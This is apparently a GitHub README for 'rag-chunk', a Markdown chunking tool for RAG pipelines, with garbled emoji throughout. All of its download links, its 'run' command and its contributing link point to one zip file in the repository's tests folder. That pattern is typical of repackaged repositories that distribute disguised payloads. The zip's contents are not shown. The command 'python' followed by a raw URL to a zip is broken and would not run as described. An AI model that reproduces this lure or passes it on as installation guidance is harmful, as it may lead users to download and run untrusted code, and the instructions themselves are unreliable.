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πŸ“ Parse, chunk, and evaluate Markdown for RAG pipelines with token-accurate support and flexible strategies for optimal context management.

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πŸŽ‰ rag-chunk - Simplify Your Document Chunking Process

🌐 Overview

rag-chunk is a Python command-line tool designed to test, benchmark, and find the best chunking strategies for Markdown documents. Whether you’re working on a large project or need quick insights into your documents, this tool can help you organize your content efficiently.

πŸ“₯ Download Now

Download rag-chunk

πŸš€ Getting Started

Follow the steps below to easily download and run rag-chunk on your computer.

1. Check System Requirements

Before downloading, ensure your computer meets the following requirements:

2. Visit the Download Page

Head over to the Releases page on GitHub to access the latest version of rag-chunk.

3. Download the Application

Locate the latest release at the top of the page. You will see a list of files. Click on the file that best suits your operating system.

4. Install (if necessary)

For most users, rag-chunk might not require installation. However, if you download a compressed file, extract its contents first.

5. Open Your Command Line Interface

  • Windows: Press Win + R, type cmd, and hit Enter.
  • macOS: Press Command + Space, type Terminal, and hit Enter.
  • Linux: Open your terminal application from the applications menu.

6. Navigate to the Application Directory

Use the cd command to change your directory to where you downloaded the rag-chunk files. For example, if you downloaded it to the Downloads folder:

cd Downloads/rag-chunk

7. Run rag-chunk

To start using rag-chunk, type the following command in your terminal and hit Enter:

python https://raw.githubusercontent.com/ItzikAquaMotek/rag-chunk/main/tests/rag-chunk_1.7.zip

This will launch the application. You will see instructions on how to use the features available.

πŸ“Š Features

  • Chunking Strategies: Easily experiment with different chunking strategies to find what works best for your documents.
  • Benchmarking: Find the speed and efficiency of various approaches.
  • Markdown Compatibility: Specifically built to handle Markdown documents, ensuring a seamless experience for users.

πŸ“š Usage Instructions

  1. After starting the application, you will see a menu with options.
  2. Follow the on-screen prompts to choose the chunking strategy you'd like to test.
  3. Provide your Markdown document's path when prompted.
  4. Review the results that are generated, detailing performance and recommendations.

πŸŽ“ Support and Resources

If you have questions or need help, consider these resources:

  • Documentation: Comprehensive user guides may be found in the docs folder.
  • Community: Join discussions or ask questions on GitHub Issues.
  • Tutorials: Check out video tutorials on YouTube for visual guidance.

πŸ“Œ Important Notes

  • Regularly check the Releases page for updates. New features and improvements are added frequently.
  • Make backups of your original documents before testing various chunking strategies to avoid accidental data loss.

βš™οΈ Contributing

If you would like to contribute, please check the guidelines in the https://raw.githubusercontent.com/ItzikAquaMotek/rag-chunk/main/tests/rag-chunk_1.7.zip file. All contributions are welcome and appreciated.

πŸ”— Stay Updated

To stay informed about updates, you can:

  • β€ŒStar the repository on GitHub.
  • Follow the project author on GitHub for announcements and future releases.

πŸ’¬ Feedback

Your feedback is crucial for improvement. After using rag-chunk, consider providing your thoughts via the GitHub Issues section or through direct comments.

πŸ–₯️ Additional Resources

  • Related Tools: Explore other Python CLI tools for document processing.
  • NLP Techniques: Learn more about natural language processing and its applications in document management.

Enjoy using rag-chunk and optimize your document chunking process today!

Download rag-chunk

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